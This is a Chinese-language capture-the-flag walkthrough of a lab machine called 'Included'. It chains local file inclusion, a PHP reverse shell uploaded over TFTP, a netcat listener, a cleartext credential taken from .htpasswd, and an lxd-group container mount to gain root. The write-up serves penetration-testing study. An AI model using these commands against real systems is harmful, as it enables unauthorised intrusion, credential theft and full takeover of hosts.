STARTING POINT TIER 2 Included
老规矩上来就是nmap
,发现起了Apache
└─$ sudo nmap -sS -sV -sC [ip-address]
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
进入浏览器在前端界面没有发现有用的东西,但是url可能存在路径包含
http://http://10.129.95.185/?file=home.php
包含一下/etc/passwd
curl 'http://http://10.129.95.185/?file=/etc/passwd'
#output
...
tftp:x:110:113:tftp daemon,,,:/var/lib/tftpboot:/usr/sbin/nologin
发现一个叫tftp的用户,tftp基于Trivial File Transfer Protocol传输文件。他跟ftp有什么不同呢?Difference between FTP and TFTP
其中关键的一点tftp使用UDP传输协议且不需要密码认证,先用nmap
扫一下UDP端口
└─$ sudo nmap -sU -sV [ip-address]
PORT STATE SERVICE VERSION
68/udp open|filtered dhcpc
69/udp open|filtered tftp
🆗那就先连一下吧
└─$ tftp [ip-address]
tftp> put php-reverse-shell.php
Sent 5685 bytes in 4.5 seconds
我们把WebShell传了上去然后通过LFI执行我们的shell。现在的关键是需要知道我们上传的shell在哪。根据TFTP得知
The default configuration file for tftpd-hpa is /etc/default/tftpd-hpa.
The default root directory where files will be stored is /var/lib/tftpboot.
那么包含一下/var/lib/tftpboot/php-reverse-shell.php
。
先监听一下端口nc -lvnp 1234
然后在浏览器输入http://http://10.129.95.185/?file=/var/lib/tftpboot/php-reverse-shell.php
🆗反弹shell到手。
进入mike目录cat user.txt
告诉我们没有权限。所以需要找到mike的密码。
查阅MDN文档使用Apache限制访问和基本身份验证
该
.htaccess
文件引用一个.htpasswd
文件,其中每行用冒号(“:”)分隔的用户名和密码. 你不能看到真实的密码因为它们是 encrypted (在这个例子中是使用了 MD5). 你可以命名.htpasswd
文件 为你所喜欢的名字, 但是应该保证这个文件不被其他人访问. (Apache通常配置阻止访问.ht*
类的文件).
.htpasswd
文件记录着Apache服务器的一些账密
www-data@included:/var/www/html$ cat .htpasswd
cat .htpasswd
mike:Sheffield19
www-data@included:/var/www/html$ su mike
mike@included:/var/www/html$ cat /home/mike/user.txt
用id
看看mike有哪些有用的信息
mike@included:/var/www/html$ id
id
uid=1000(mike) gid=1000(mike) groups=1000(mike),108(lxd)
LXD
LXD是一个容器和虚拟机管理器,
LXD和LXC简介
Linux Container (LXC)通常被认为是一种轻量级虚拟化技术,介于chroot和完全开发的虚拟机之间,它创建了一个尽可能接近Linux安装的环境,但不需要单独的内核。
Linux守护进程(LXD)是轻量级容器管理程序。LXD是在容器技术LXC的基础上构建的,Docker之前使用过LXC。它使用稳定的LXC API在后台完成所有容器管理,并添加REST API,提供更简单、更一致的用户体验。
一个属于lxd用户组的成员可以提升为root权限。
A member of the local “lxd” group can instantly escalate the privileges to root on the host operating system. This is irrespective of whether that user has been granted sudo rights and does not require them to enter their password. The vulnerability exists even with the LXD snap package.
至于怎么利用参考HackTricks的lxd/lxc Group - Privilege escalation
按照说明启动了一个alpine的image,启动后在当前目录下会出现lxd.tar.xz
和rootfs.squashfs
文件,需要把这2个文件传上去。
#In Listener
$ python3 -m http.server [port]
Serving HTTP on 0.0.0.0 port [port] (http://0.0.0.0:[port]/) ...
#In reverse shell
mike@included:/var/www/html$ cd /tmp
mike@included:/tmp$ wget http://[ip-address]:[port]/lxd.tar.xz
mike@included:/tmp$ wget http://[ip-address]:[port]/rootfs.squashfs
确认是否上传
mike@included:/tmp$ ls -l
-rw-rw-r-- 1 mike mike 852 May 28 08:43 lxd.tar.xz
-rw-rw-r-- 1 mike mike 2052096 May 28 08:43 rootfs.squashfs
#import the image
lxc image import lxd.tar.xz rootfs.squashfs --alias alpine
#verify that the image has been successfully imported
lxc image list
# run the image and set the security.privileged flag to true
# so that the container has all of the privileges that the root file system has
lxc init myimage mycontainer -c security.privileged=true
# mount the /root into the image
lxc config device add mycontainer mydevice disk source=/ path=/mnt/root recursive=true
# interact with the container
lxc start mycontainer
lxc exec mycontainer /bin/sh
提升为root权限,进入/mnt/root/root
拿到root.txt